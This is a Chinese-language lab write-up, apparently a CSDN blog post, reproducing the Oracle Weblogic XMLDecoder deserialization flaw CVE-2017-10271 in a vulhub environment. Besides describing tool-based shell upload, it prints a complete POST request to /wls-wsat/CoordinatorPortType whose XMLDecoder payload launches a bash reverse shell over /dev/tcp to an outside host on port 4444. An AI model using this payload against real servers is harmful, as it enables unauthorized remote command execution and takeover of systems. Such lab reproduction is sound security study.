Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)

Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)

1.漏洞原理

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

漏洞涉及版本

10.3.6.0.0

12.1.3.0.0

12.2.1.1.0

12.2.1.2.0

2.环境搭建

在vulhub中使用docker拉取镜像,启动环境

docker-compose up -d

访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动

在这里插入图片描述

访问http://192.168.241.129:7001/wls-wsat/CoordinatorPortType呈现如下页面,表示存在漏洞

在这里插入图片描述

3.漏洞复现过程

1.使用工具检测

在这里插入图片描述

可以直接利用该工具进行命令执行和shell上传

在这里插入图片描述

在这里插入图片描述

上传成功出现如下界面

在这里插入图片描述

2.不使用工具

访问http://192.168.241.129:7001/wls-wsat/CoordinatorPortType

使用brupsuite抓包,

在这里插入图片描述

将get方式改为POST
将webshell替换上去

注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误,

而且在请求头中要修改Content-Type的对应值为text/xml

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.241.129:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.241.128/4444 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

在这里插入图片描述

反弹shell如图:

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/huangyongkang666/article/details/125968858
今日推荐